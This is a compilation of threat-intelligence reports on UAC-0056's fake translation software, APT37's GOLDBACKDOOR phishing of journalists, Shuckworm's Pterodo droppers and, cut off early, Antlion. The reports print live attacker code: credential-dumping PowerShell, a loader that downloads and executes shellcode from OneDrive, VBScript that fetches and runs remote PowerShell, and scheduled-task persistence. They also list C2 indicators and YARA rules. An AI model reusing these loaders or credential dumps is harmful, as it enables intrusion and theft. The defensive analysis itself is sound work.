+Command and Control (C2) Server
+51.89.135[.]142
+Command and Control (C2) Server
+51.89.190[.]128
+Command and Control (C2) Server
+51.89.178[.]210
+Command and Control (C2) Server,
+Tunneling Server
+142.44.135[.]86
+Tunneling Server
+182.54.217[.]2
+Payload Server
+Github
+Account
+https://github.com/protections20
+Account utilized to host payloads
+Threat Actor UAC-0056 Targeting Ukraine with Fake
+Translation Software
+sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software
+March 15, 2022
+Overview
+SentinelOne has identified new malicious activity we assess to be closely associated with the
+UAC-0056 (SaintBear, UNC2589, TA471) alert, in which the threat actor was observed
+targeting Ukraine with Cobalt Strike, GrimPlant, and GraphSteel. This previously
+undiscovered set of activity centers around a Python-compiled binary that masquerades as
+Ukrainian language translation software, leading to the infection of GrimPlant, and
+GraphSteel.
+SentinelOne assesses UAC-0056
+s GrimPlant and GraphSteel activity began in early February
+2022, while preparation for its use began at least as early as December 2021.
+Dictionary Translator
+SentinelOne has identified two files with names and paths correlating to the GraphSteel and
+GrimPlant malware referred to in the report by CERT-UA.
+C:\Users\user\.java-sdk\microsoftcortana.exe
+d77421caae67f4955529f91f229b31317dff0a95
+C:\Users\user\.java-sdk\oracle-java.exe
+ef5400f6dbf32bae79edb16c8f73a59999e605c7
+The two files identified are Go binaries dropped by the executable
+2a60b4e1eb806f02031fe5f143c7e3b7 (dictionary-translator.exe). Dictionary-translator is
+a Python compiled binary that functions as a 45 MB translation application. Notably, this file
+was first uploaded to VirusTotal on February 11th 2022.
+Translation Application
+The Dictionary-translator binary is downloaded from the potentially actor-controlled
+domain: hxxps://dictionary-translator[.]eu/program/dictionarytranslator.exe .
+On launch, the translator application drops and executes four malicious files. These correlate
+to those described in the report by the Ukrainian CERT, three by name and path and one by
+functionality and path.
+Matched File Path
+UA-CERT Report Link (MD5)
+\Users\user\AppData\Local\Temp\tmpj43i5czq.exe
+15c525b74b7251cfa1f7c471975f3f95
+\Users\user\.java-sdk\java-sdk.exe
+c8bf238641621212901517570e96fae7
+\Users\user\.java-sdk\microsoft-cortana.exe
+9ea3aaaeb15a074cd617ee1dfdda2c26
+\Users\user\.java-sdk\oracle-java.exe
+4f11abdb96be36e3806bada5b8b2b8f8
+Post-Compromise Activity
+Upon execution, the GraphSteel variant of the malware will run a set of reconnaissance and
+credential harvesting commands, again similar to those described in the report.
+netsh wlan show profiles
+[void]
+[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=W
+= New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() | % {
+$_.RetrievePassword();$_} | Select UserName, Resource, Password | Format-Table HideTableHeaders
+reg query HKCU\Software\SimonTatham\Putty\Sessions
+Additionally, the malware achieves persistence by setting the current user
+s registry
+CurrentVersion\Run value to execute the Go downloader at logon:
+Key: HKU\%SID%\Software\Microsoft\Windows\CurrentVersion\Run\Java-SDK
+Value: \Users\user\.java-sdk\java-sdk.exe -a FIAjtW4f+IgCUrs3hfj9Lg==
+The variant discovered by SentinelOne attempts to connect to a different server using a
+similar pattern, attempting to establish a HTTP connection over port 443 to a single
+character letter URI: hxxp://91.242.229.35:443/i .
+Clarification on Threat Actor UAC-0056
+UAC-0056 has a history of public reporting but is most commonly known as UNC2589
+(Mandiant) and TA471 (Proofpoint), among others. This actor is believed to be behind the
+WhisperGate activity in early January 2022 impacting government agencies in Ukraine.
+Based on our analysis, the actor was potentially building the infrastructure for the GrimPlant
+and GraphSteel campaign beginning in December 2021.
+Timeline Demonstrating Known UAC-0056 Activity
+Indicators of Compromise
+IOC / SHA1
+Description
+dictionary-translator[.]eu
+Dictionary-translator.exe Download
+Server
+91.242.229[.]35:443/i
+Go Downloader C2
+3eec65c8ac25682d9e7d293ca9033c8a841f4958
+Go Downloader
+d77421caae67f4955529f91f229b31317dff0a95
+GraphSteel Linked
+ef5400f6dbf32bae79edb16c8f73a59999e605c7
+GrimPlant Linked
+3847ca79b3fd52b105c5e43b7fc080aac7c5d909
+Dictionary-translator Program
+The ink-stained trail of
+GOLDBACKDOOR
+Threat report
+Silas Cutler, Principal Reverse Engineer
+21/04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+Table of contents
+GOLDBACKDOOR deployment
+Stage 1
+Kang Min-chol Edits 2.zip
+Kang Min-chol Edits 2.lnk
+Stage 2
+Fantasy injector
+Final dropper
+GOLDBACKDOOR
+Tracking document
+Conclusion
+Appendix
+YARA rules
+Infrastructure
+Files
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+Over the past 10 years, the Democratic People's Republic of Korea (DPRK) has adopted cyber
+operations as a key means of supporting the regime. While significant attention has been paid to the
+purported use of these operations as a means of funding DPRK
+s military programs, the targeting of
+researchers, dissidents, and journalists likely remains a key area for supporting the country's
+intelligence operations.
+Journalists are high-value targets for hostile governments. They often are aggregators of stories from
+many individuals 
+ sometimes including those with sensitive access. Compromising a journalist can
+provide access to highly-sensitive information and enable additional attacks against their sources.
+On 18 March 2022, NK News shared multiple malicious artifacts with the Stairwell threat research team
+from a spear-phishing campaign targeting journalists who specialize in the DPRK. These messages were
+sent from the personal email of a former director of South Korea
+s National Intelligence Service (NIS).
+One of these artifacts was a new malware sample we have named GOLDBACKDOOR, based on an
+embedded development artifact.
+Stairwell assesses with medium-high confidence that GOLDBACKDOOR is the successor of, or used in
+parallel with, the malware BLUELIGHT, attributed to APT37 / Ricochet Chollima. This assessment is
+based on technical overlaps between the two malware families and the impersonation of NK News, a
+South Korean news site focused on the DPRK.
+NK News has published an article detailing the incident and this report will outline the technical process
+in which GOLDBACKDOOR is deployed on infected systems.
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+GOLDBACKDOOR deployment
+Deployment of GOLDBACKDOOR is a multi-stage process, likely designed to avoid detection by
+antivirus or endpoint security. This process can be logically subdivided into two major components,
+each with two subsections. A high-level overview of the deployment process is shown below:
+By separating the first stage tooling and the final payload, the actor retains the ability to halt
+deployment after initial targets are infected. Additionally, this design may limit the ability to conduct
+retrospective analysis once payloads are removed from control infrastructure.
+Stage 1
+Kang Min-chol Edits 2.zip
+The deployment chain for GOLDBACKDOOR in this incident was predicated on a user downloading a ZIP
+file from https[:]//main[.]dailynk[.]us/regex?id=oTks2&file=Kang Min-chol Edits
+2.zip and executing a compressed Windows shortcut. The domain dailynk[.]us was likely chosen to
+impersonate NK News (dailynk[.]com), previously used by APT37 as a strategic web compromise
+(SWC) using CVE-2020-1380 and CVE-2021-26411. At the time of initial analysis, the domain
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+mail[.]dailynk[.]us had stopped resolving; however, from historic DNS resolutions, we were able to
+identify 142.93.201[.]77 as the last address this domain resolved and were able to retrieve the ZIP
+file.
+This ZIP file (SHA256 hash:
+9eddd99db6f5a7791f7e446792f04b301d29f6b0596920e8b39647cc7585185d) was named Kang
+Min-chol Edits 2.zip and contains a single Windows shortcut file. Timestamps in the ZIP file show
+that the contained file was added on 17 March 2022 at 16:51 UTC.
+Kang Min-chol Edits 2.lnk
+Contained within the initial ZIP archive was a 282.7 MB Windows shortcut file (LNK) named Kang
+Min-chol Edits 2.lnk (SHA256 hash:
+120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5). The attackers
+masqueraded this shortcut as a document, using both the icon for Microsoft Word and adding
+comments similar to a Word document. Additionally, this LNK file was padded with 0x90 (or NOP/No
+Operation) bytes to artificially increase the size of this file, potentially as a means of preventing upload
+to detection services or malware repositories.
+When this LNK file is executed, it executes a PowerShell script that writes and opens a decoy document
+before starting the deployment process of GOLDBACKDOOR. A formatted version the PowerShell
+command and executed script are shown below:
+%windir%\SysWOW64\cmd.exe /c powershell -windowstyle hidden
+$dirPath = Get-Location;
+if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {
+$dirPath = '%temp%'
+$lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^| where-object {
+$_.length -eq 0x0010D98A06
+} ^| Select-Object -ExpandProperty FullName;
+$pdfFile = gc $lnkpath -Encoding Byte -TotalCount 00547552 -ReadCount 00547552;
+$pdfPath = '%temp%\Kang Min-chol Edits 2.doc';
+sc $pdfPath ([byte[]]($pdfFile ^| select -Skip 009440)) -Encoding Byte; ^& $pdfPath;
+$won11 ="$temple="""5B4E...(Removed for readability)...293B""";
+$martin="""""";
+for($i=0;$i -le $temple.Length-2;$i=$i+2){
+$Sorre=$temple[$i]+$temple[$i+1];
+$martin= $martin+[char]([convert]::toint16($Sorre,16));
+Invoke-Command -ScriptBlock ([Scriptblock]::Create($martin));";
+Invoke-Command -ScriptBlock ([Scriptblock]::Create($won11));
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+The decoy document (SHA256 hash:
+94ca32c0a3002574d7ea1bef094146a9d3b2ad0018b3e3d3f4ffca8689b89e5a) dropped by this LNK
+file is embedded at file offset 0x24E0 (9440) and written to %temp%\Kang Min-chol Edits 2.doc,
+before being opened. The following screenshot shows the opened document after a user runs the
+shortcut. To a user executing the LNK file, believing it was a legitimate document, the only indication
+that something suspicious was underway may have been a short delay while the document was
+extracted and written to disk.
+Screenshot of decoy document
+After deploying the decoy document, the PowerShell script decodes a second PowerShell script,
+hex-encoded in the $temple variable, which it executes using Invoke-Command. A decoded and
+formatted version of the second PowerShell script is shown below:
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+[Net.ServicePointManager]::SecurityProtocol=[Enum]::ToObject([Net.SecurityProtocolType], 3072);
+$aa='[DllImport("kernel32.dll")]public static extern IntPtr GlobalAlloc(uint b,uint c);
+$b=Add-Type -MemberDefinition $aa -Name "AAA" -PassThru;
+$abab = '[DllImport("kernel32.dll")]public static extern bool VirtualProtect(IntPtr a,uint b,uint
+c,out IntPtr d);';
+$aab=Add-Type -MemberDefinition $abab -Name "AAB" -PassThru;
+$c = New-Object System.Net.WebClient;
+$d="hxxps://api[.]onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjl6ZnJ3eFdXRW9hczVYaV
+c5TWUxNGlhQnM_ZT0wZVdDcTc/root/content";
+$bb='[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr
+c,IntPtr d,uint e,IntPtr f);';
+$ccc=Add-Type -MemberDefinition $bb -Name "BBB" -PassThru;
+$ddd='[DllImport("kernel32.dll")]public static extern IntPtr WaitForSingleObject(IntPtr a,uint
+b);';
+$fff=Add-Type -MemberDefinition $ddd -Name "DDD" -PassThru;
+$e=112;
+do {
+try {
+$c.Headers["user-agent"] = "connnecting...";
+$xmpw4=$c.DownloadData($d);
+$x0 = $b::GlobalAlloc(0x0040, $xmpw4.Length+0x100);
+$old = 0;
+$aab::VirtualProtect($x0, $xmpw4.Length+0x100, 0x40, [ref]$old);
+for ($h = 1; $h -lt $xmpw4.Length; $h++) {
+[System.Runtime.InteropServices.Marshal]::WriteByte($x0, $h-1, ($xmpw4[$h] -bxor
+$xmpw4[0]) );
+try{throw 1;}
+catch{
+$handle=$ccc::CreateThread(0,0,$x0,0,0,0);
+$fff::WaitForSingleObject($handle, 500*1000);
+$e=222;
+catch{
+sleep 11;
+$e=112;
+} while($e -eq 112);
+When executed, this second PowerShell script will download and execute a shellcode payload (XOR
+encoded using the first-byte as a key) stored on Microsoft OneDrive. When manually downloaded
+during analysis, this payload was named Fantasy.
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+Stage 2
+Fantasy injector
+Fantasy is the first of a two-part process for deploying GOLDBACKDOOR. Both parts are written in
+position-independent code (shellcode) containing an embedded payload, and use process injection to
+deploy GOLDBACKDOOR.
+Shellcode typically resolves external Windows API calls at runtime. Fantasy uses a common technique
+for this, which involves parsing the InLoadOrderModuleList structure of the Process Environment
+Block (PEB) of the parent process to generate a list of libraries already loaded. When Fantasy needs to
+use one of these API calls, it passes a hashed value of the intended API call to a dedicated function that
+returns the corresponding address. This function hashes loaded Windows API names and libraries until
+it matches the requested hash. A pseudocode implementation of this hashing is shown below:
+def resolve_import(apiName, dllFilename):
+# Ex:
+# apiName = VirtualAlloc
+# dllFilename: unicode(kernel32.dll)
+# Return: 0xAA7ADB76
+dllHash = 0
+nameHash = 0
+for c in dllFilename:
+dllHash = ror(dllHash, 11, 32)
+if ord(c) >= 97:
+dllHash -= 32
+dllHash = ord(c) + dllHash
+for i in apiName:
+nameHash = ror(nameHash, 15, 32) + i
+nameHash = (nameHash ^ dllHash)
+return nameHash
+Upon execution, Fantasy parses files under %WINDIR%\System32 until one is found that ends in .exe
+that Fantasy has read access. The full path to the identified executable file is written to
+%localappdata%\\log_gold.txt, possibly for debugging purposes, before being started in a
+suspended state using CreateProcessA and passing the CREATE_SUSPENDED flag.
+Once a suspended process has been created, Fantasy will decode a shellcode payload, which will be
+injected into the newly created process. The injected payload is stored at offset 0x672 and obfuscated
+using a single byte eXclusive OR (XOR) cipher. The size and XOR key for this payload are structured
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+using a distinctive format to avoid statically defining values in the shellcode. A representation of this
+structure is shown below:
+00000000 23 fa 53 10 00 a0 cf 3f ae 67 07 2f 9a 68 34 ee
+00000010 78 76 75 10 ce 76 49 33 73 cb a5 23 23 23 dc f3
+ XOR key
+fa 53 10 00
+- Payload size
+a0 cf 3f ae... - Encoded payload data
+S.. 
+g./.h4
+|xvu.
+vI3s
+After this payload is decoded, Fantasy uses a standard process involving VirtualAllocEx,
+WriteProcessMemory, and RtlCreateUserThread to spawn a thread under the previously created
+process for execution of this payload.
+Final dropper
+The shellcode payload, running as a thread in a process created by Fantasy, is responsible for the final
+deployment of GOLDBACKDOOR. Fundamentally, this component is close in design and functionality to
+its parent shellcode loader; it uses the same method for API resolution, payload structure, and writes a
+log file to %localappdata%\\log_gold2.txt.
+The payload delivered by this stage is a Windows Portable Executable (PE) file for GOLDBACKDOOR. As
+with the previous shellcode payload, the first byte is used as an XOR key and the proceeding DWORD
+defines the size of the encoded payload. After decoding, the PE header of the payload is parsed for its
+respective EntryPoint1, which is then called to begin the execution of GOLDBACKDOOR.
+GOLDBACKDOOR
+The identified copy of GOLDBACKDOOR is a Windows Portable Executable (PE) file with a build
+timestamp of 9 February 2022 02:38:30 UTC and contains a Program Database (PDB) path reference to
+D:\Development\GOLD-BACKDOOR\Release\FirstBackdoor.pdb, from which was named.
+In contrast with the timestamps of files in the ZIP file, which were added within hours of being sent to
+targets, this executable was created over a month prior, potentially indicating the final payload is not
+customized on a per-target basis. While it is unclear from this sample alone if individual operators have
+the ability to generate on-demand unique copies of GOLDBACKDOOR, these types of time deltas can
+sometimes be reflective of actor groups composed of separated operational and development teams.
+https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+During Stairwell
+s analysis of this malware, the identified PDB path in GOLDBACKDOOR led to the initial
+linking of this malware to a copy of BLUELIGHT, reported by Volexity2 in August 2021, containing a PDB
+path of E:\Development\BACKDOOR\ncov\Release\bluelight.pdb. Based on corresponding build
+paths, it
+s likely both malware families were created by a common development resource.
+GOLDBACKDOOR utilizes cloud service providers for receiving actor commands and exfiltrating data.
+The sample analyzed as part of this investigation used Microsoft OneDrive and Graph APIs, while an
+additional identified sample (SHA256 hash:
+485246b411ef5ea9e903397a5490d106946a8323aaf79e6041bdf94763a0c028) used Google Drive.
+Embedded in the analyzed copy of GOLDBACKDOOR are a set of API keys used to authenticate against
+Azure and retrieve commands for execution. Received commands are prefixed with a single-character
+value, which denotes the corresponding task requested of the malware.
+GOLDBACKDOOR provides attackers with basic remote command execution, file
+downloading/uploading, keylogging, and the ability to remotely uninstall. This functionality and
+implementation closely match BLUELIGHT; however, the increased focus appears to have been placed
+on file collection and keylogging. A list of file extensions checked for by this malware are listed below:
+jpg, doc, xls, ppt, hwp, url, csv, pdf, show, cell, eml, odt, rft, nxl, amr, 3gp, m4a, txt, msg,
+key, der, cer, docx, xlsx, pptx, pfx, mp3, inf, jog, bin
+Tracking document
+While analyzing the deployment chain of GOLDBACKDOOR, NK News provided a second file (SHA256
+hash: c5369c2ce7f33d6cd209cd61226a0637adc809b864deb73a98d78bfed0883163) that was sent
+by the attackers and initially staged on Microsoft OneDrive. Contained in this ZIP file was a single
+Microsoft Word document named Kang Min-chol Edits 2.doc (SHA256 hash:
+18c9fd4f781789cd15cee4fcb18fa983897fc9876422d662a2243ff7499f5948), consistent with the
+file names from the initial phishing attempt.
+The content of this document matches that of the decoy document deployed by the LNK file in the
+previous phishing attempt, with one critical addition. Embedded in the document is a reference to an
+external image hosted on the cloud application platform Heroku. When viewed in Microsoft Word, if this
+link returns an image, it will be presented as part of the document; otherwise, it may go unnoticed by a
+user. When the document is viewed using the GNU strings tool, the embedded link is easily seen:
+https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+Embedded link in tracking document
+Based on the URL path and value in the id field corresponding to the document
+s name, it is likely this
+was included to give the attacker visibility into when and where the document was opened. This type of
+operational security tradecraft is generally consistent with sophisticated threat actors with mature
+offensive programs.
+Conclusion
+Tracking cyber threats is an iterative process, and no incident provides us with a complete view into
+every aspect of a threat actor's history. However, every incident affords us the opportunity to learn
+something new. Over time, we develop an understanding of the range of an actor's capabilities,
+objectives, and tradecraft.
+Based on the presented analysis, the GOLDBACKDOOR malware shares strong technical overlaps with
+the BLUELIGHT malware. These overlaps, along with the suspected shared development resource and
+impersonation of NK News, support our attribution of GOLDBACKDOOR to APT37.
+Stairwell would like to thank NK News for the opportunity to assist in this investigation, the SentinelOne
+research team for their support, and Volexity for their outstanding prior research into this actor.
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+Appendix
+YARA rules
+Stairwell's Inception users already have access to these rules automatically.
+rule NK_GOLDBACKDOOR_LNK
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Detection for LNK file used to deploy GOLDBACKDOOR"
+version = "0.1"
+strings:
+$ = "WINWORD.exe" wide nocase
+$ = "$won11 =\"$temple=" wide
+$ = "dirPath -Match 'System32' -or $dirPath -Match 'Program Files'" wide
+condition:
+2 of them and uint16(0) == 0x4c
+rule NK_GOLDBACKDOOR_LNK_payload
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Detection for obfuscated Powershell contained in LNK file that deploys
+GOLDBACKDOOR"
+version = "0.1"
+strings:
+$ = "WriteByte($x0, $h-1, ($xmpw4[$h] -bxor $xmpw4[0]" ascii wide nocase
+condition:
+all of them
+rule NK_GOLDBACKDOOR_obf_payload
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Detection for encoded shellcode payload downloaded by LNK file that drops
+GOLDBACKDOOR"
+version = "0.1"
+strings:
+$init = { e6b3 6d0a 6502 1e67 0aee e7e6 e66b eac2 }
+condition:
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+$init at 0
+rule NK_GOLDBACKDOOR_inital_shellcode
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Detection for initial shellcode loader used to deploy GOLDBACDOOR"
+version = "0.1"
+strings:
+//seg000:07600058 8D 85 70 FE FF FF
+eax, [ebp+var_190]
+//seg000:0760005E C7 45 C4 25 6C 6F 63
+dword ptr [ebp+var_3C],
+'col%'
+//seg000:07600065 50
+push
+//...
+//seg000:0760008F C7 45 D8 6F 6C 64 2E
+dword ptr
+[ebp+var_3C+14h], '.dlo'
+//seg000:07600096 C7 45 DC 74 78 74 00
+dword ptr
+[ebp+var_3C+18h], 'txt'
+$ = { C7 45 C4 25 6C 6F 63 50 8D 45 C4 C7 45 C8 61 6C 61 70 8B F9 C7 45
+CC 70 64 61 74 50 B9 BD 88 17 75 C7 45 D0 61 25 5C 6C 8B DA C7 45 D4 6F
+67 5F 67 C7 45 D8 6F 6C 64 2E C7 45 DC 74 78 74 00 }
+// Import loaders
+$ = { 51 50 57 56 B9 E6 8E 85 35 E8 ?? ?? ?? ?? FF D0 }
+$ = { 6A 40 68 00 10 00 00 52 6A 00 FF 75 E0 B9 E3 18 90 72 E8 ?? ?? ?? ?? FF D0}
+condition:
+all of them
+rule NK_GOLDBACKDOOR_injected_shellcode
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Detection for injected shellcode that decodes GOLDBACKDOOR"
+version = "0.1"
+strings:
+$dec_routine = { 8A 19 57 8B FA 8B 51 01 83 C1 05 85 D2 74 0E 56 8B C1 8B F2 30 18 40 83
+EE 01 75 F8 5E 57 }
+$rtlfillmemory_load = {B9 4B 17 CD 5B 55 56 33 ED 55 6A 10 50 E8 86 00 00 00 FF D0}
+$ = "StartModule"
+$log_file_name = {C7 44 24 3C 25 6C 6F 63 50 8D 44 24 40 C7 44 24 44 61 6C 61 70 50 B9 BD
+88 17 75 C7 44 24 4C 70 64 61
+74 C7 44 24 50 61 25 5C 6C C7 44 24 54 6F 67 5F 67 C7 44 24 58 6F 6C 64 32 C7 44 24
+5C 2E 74 78 74}
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+$ = { B9 8E 8A DD 8D 8B F0 E8 E9 FB FF FF FF D0 }
+condition:
+3 of them
+rule NK_GOLDBACKDOOR_generic_shellcode
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Generic detection for shellcode used to drop GOLDBACKDOOR"
+version = "0.1"
+strings:
+$ = { B9 8E 8A DD 8D 8B F0 E8 ?? ?? ?? ?? FF D0 }
+$ = { B9 8E AB 6F 40 [1-10] 50 [1-10] E8 ?? ?? ?? ?? FF D0 }
+condition:
+all of them
+rule NK_GOLDBACKDOOR_Main
+meta:
+author= "Silas Cutler"
+description = "Detection for Main component of GOLDBACKDOOR"
+version = "0.1"
+strings:
+$str1 = "could not exec bash command." wide
+$str2 = "%userprofile%\\AppData" wide
+$str3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
+Chrome/90.0.3112.113 Safari/537.36" wide
+$str4 = "tickount: %d"
+$str5 = "Service-0x" wide
+$str6 = "Main Returned"
+$b64_1 = "TwBuAGUARAByAHYAVQBwAGQAYQB0AGUAAAA="
+$b64_2 = "aGFnZW50dHJheQ=="
+$b64_3 = "YXBwbGljYXRpb24vdm5kLmdvb2dsZS1hcHBzLmZvbGRlcg=="
+$pdb = "D:\\Development\\GOLD-BACKDOOR\\"
+condition:
+4 of them or ( $pdb and 1 of them )
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+Infrastructure
+Indicator
+Type
+Date Active
+Description
+main[.]dailynk[.]us
+Domain
+March 2022
+Domain used for staging malicious document
+142.93.201[.]77
+IP address
+March 2022
+IP address main[.]dailynk[.]us resolved to at the time of the
+incident
+Files
+File Name
+File Type
+Size
+SHA256 Hash
+Kang Min-chol Edits 2.zip
+Zip archive file
+487K
+9eddd99db6f5a7791f7e446792f04b301d
+29f6b0596920e8b39647cc7585185d
+Kang Min-chol Edits 2.lnk
+Windows shortcut file
+282.7M
+120ca851663ef0ebef585d716c9e2ba67b
+d4870865160fec3b853156be1159c5
+Kang Min-chol Edits 2.doc
+Microsoft Office
+Document
+526K
+94ca32c0a3002574d7ea1bef094146a9d
+3b2ad0018b3e3d3f4ffca8689b89e5a
+Fantasy
+Binary Data
+1.1M
+45ece107409194f5f1ec2fbd902d041f055
+a914e664f8ed2aa1f90e223339039
+(GOLDBACKDOOR)
+Binary Data
+1.1M
+c02d0f7bc47bfd46bf88cad0648b24118c
+a77675c77595b68c0da9d91208b1de
+Kang Min-chol Edits 2.zip
+(Tracking Document zip)
+Zip archive file
+187K
+c5369c2ce7f33d6cd209cd61226a0637a
+dc809b864deb73a98d78bfed0883163
+Kang Min-chol Edits 2.doc
+(Tracking Document)
+Microsoft Office
+Document
+525K
+18c9fd4f781789cd15cee4fcb18fa983897
+fc9876422d662a2243ff7499f5948
+Windows portable
+executable
+1.2M
+485246b411ef5ea9e903397a5490d1069
+46a8323aaf79e6041bdf94763a0c028
+04/2022
+The ink-stained trail of GOLDBACKDOOR
+Threat report
+For more information on the intelligence provided in this report,
+contact us at research@stairwell.com
+Stairwell helps organizations take back the cybersecurity high ground with solutions that attackers can't evade. Its flagship
+product, the Inception platform, empowers security teams to outsmart any attacker. Stairwell is composed of security industry
+leaders and engineers from Google and is backed by Sequoia Capital, Accel, and Gradient Ventures. stairwell.com
+04/2022
+Shuckworm: Espionage Group Continues Intense
+Campaign Against Ukraine
+symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine
+The Russian-linked Shuckworm espionage group (aka Gamaredon, Armageddon) is
+continuing to mount an intense cyber campaign against organizations in Ukraine.
+Shuckworm has almost exclusively focused its operations on Ukraine since it first appeared
+in 2014. These attacks have continued unabated since the Russian invasion of the country.
+While the group
+s tools and tactics are simple and sometimes crude, the frequency and
+persistence of its attacks mean that it remains one of the key cyber threats facing
+organizations in the region.
+Multiple payloads
+One of the hallmarks of the group
+s recent activity is the deployment of multiple malware
+payloads on targeted computers. These payloads are usually different variants of the same
+malware (Backdoor.Pterodo), designed to perform similar tasks. Each will communicate with
+a different command-and-control (C&C) server.
+The most likely reason for using multiple variants is that it may provide a rudimentary way of
+maintaining persistence on an infected computer. If one payload or C&C server is detected
+and blocked, the attackers can fall back on one of the others and roll out more new variants
+to compensate.
+Symantec
+s Threat Hunter Team, part of Broadcom Software, has found four distinct variants
+of Pterodo being used in recent attacks. All of them are Visual Basic Script (VBS) droppers
+with similar functionality. They will drop a VBScript file, use Scheduled Tasks (shtasks.exe)
+to maintain persistence, and download additional code from a C&C server. All of the
+embedded VBScripts were very similar to one another and used similar obfuscation
+techniques.
+Backdoor.Pterodo.B
+This variant is a modified self-extracting archive, containing obfuscated VBScripts in
+resources that can be unpacked by 7-Zip.
+It then adds them as a scheduled task to ensure persistence:
+CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute
+/mo 10 /tn " + """UDPSync"" /tr ""wscript.exe """ + hailJPT + """" & " jewels //b
+joking //e VBScript joyful "" /F ", "" , "" , 0
+CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute
+/mo 10 /tn " + """SyncPlayer"" /tr ""wscript.exe """ + enormouslyAKeIXNE + """" + "
+jewels //b joking //e VBScript joyful "" /F ", "" , "" , 0
+The script also copies itself to [USERPROFILE]\ntusers.ini file.
+The two newly created files are more obfuscated VBScripts.
+The first is designed to gather system information, such as the serial number of the C:
+drive, and sends this information to a C&C server.
+The second adds another layer of persistence by copying the previously dropped
+ntusers.ini file to another desktop.ini file.
+Backdoor.Pterodo.C
+This variant is also designed to drop VBScripts on the infected computer. When run, it will
+first engage in API hammering, making multiple meaningless API calls, which is presumably
+an attempt to avoid sandbox detection. It will then unpack a script and a file called
+offspring.gif to C:\Users\[username]\. It will call the script with:
+"wscript "[USERNAME]\lubszfpsqcrblebyb.tbi" //e:VBScript /w /ylq /ib /bxk //b
+/pgs"
+This script runs ipconfig /flushdns and executes the offspring.gif file. Offsprint.gif will
+download a PowerShell script from a random subdomain of corolain.ru and execute it:
+cvjABuNZjtPirKYVchnpGVop = "$tmp = $(New-Object
+net.webclient).DownloadString('http://'+
+[System.Net.DNS]::GetHostAddresses([string]$(Get-Random)+'.corolain.ru')
++'/get.php'); Invoke-Expression $tmp"
+Backdoor.Pterodo.D
+This variant is another VBScript dropper. It will create two files:
+[USERPROFILE]\atwuzxsjiobk.ql
+[USERPROFILE]\abide.wav
+It executes them with the following command:
+wscript "[USERPROFILE]\atwuzxsjiobk.ql" //e:VBScript /tfj /vy /g /cjr /rxia //b
+/pyvc
+Similar to the other variants, the first script will run ipconfig /flushdns before calling the
+second script and removing the original executable.
+The second script has two layers of obfuscation, but in the end it downloads the final payload
+from the domain declined.delivered.maizuko[.]ru and executes it.
+Backdoor.Pterodo.E
+The final variant is functionally very similar to variants B and C, engaging in API hammering
+before extracting two VBScript files to the user
+s home directory. Script obfuscation is very
+similar to other variants.
+Other tools
+While the attackers have made heavy use of Pterodo during recent weeks, other tools have
+also been deployed alongside it. These include UltraVNC, an open-source remoteadministration/remote-desktop-software utility. UltraVNC has previously been used by
+Shuckworm in multiple attacks.
+In addition to this, Shuckworm has also been observed using Process Explorer, a Microsoft
+Sysinternals tool designed to provide information about which handles and DLL processes
+have opened or loaded.
+Persistent threat
+While Shuckworm is not the most tactically sophisticated espionage group, it compensates
+for this in its focus and persistence in relentlessly targeting Ukrainian organizations. It
+appears that Pterodo is being continuously redeveloped by the attackers in a bid to stay
+ahead of detection.
+While Shuckworm appears to be largely focused on intelligence gathering, its attacks could
+also potentially be a precursor to more serious intrusions, if the access it acquires to
+Ukrainian organizations is turned over to other Russian-sponsored actors.
+Protection/Mitigation
+For the latest protection updates, please visit the Symantec Protection Bulletin.
+Indicators of Compromise
+A full list of IOCs is available here on GitHub.
+If an IOC is malicious and the file available to us, Symantec Endpoint products will detect
+and block that file.
+Antlion: Chinese APT Uses Custom Backdoor to Target Financial Institutions in
+Taiwan
+symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks
+The attackers spent a significant amount of time on victim networks.
+Chinese state-backed advanced persistent threat (APT) group Antlion has been targeting financial institutions in Taiwan in a persistent
+campaign over the course of at least 18 months.
+The attackers deployed a custom backdoor we have called xPack on compromised systems, which gave them extensive access to victim
+machines.
+The backdoor allowed the attackers to run WMI commands remotely, while there is also evidence that they leveraged EternalBlue
+exploits in the backdoor. The attackers appeared to have the ability to interact with SMB shares, and it's possible that they used
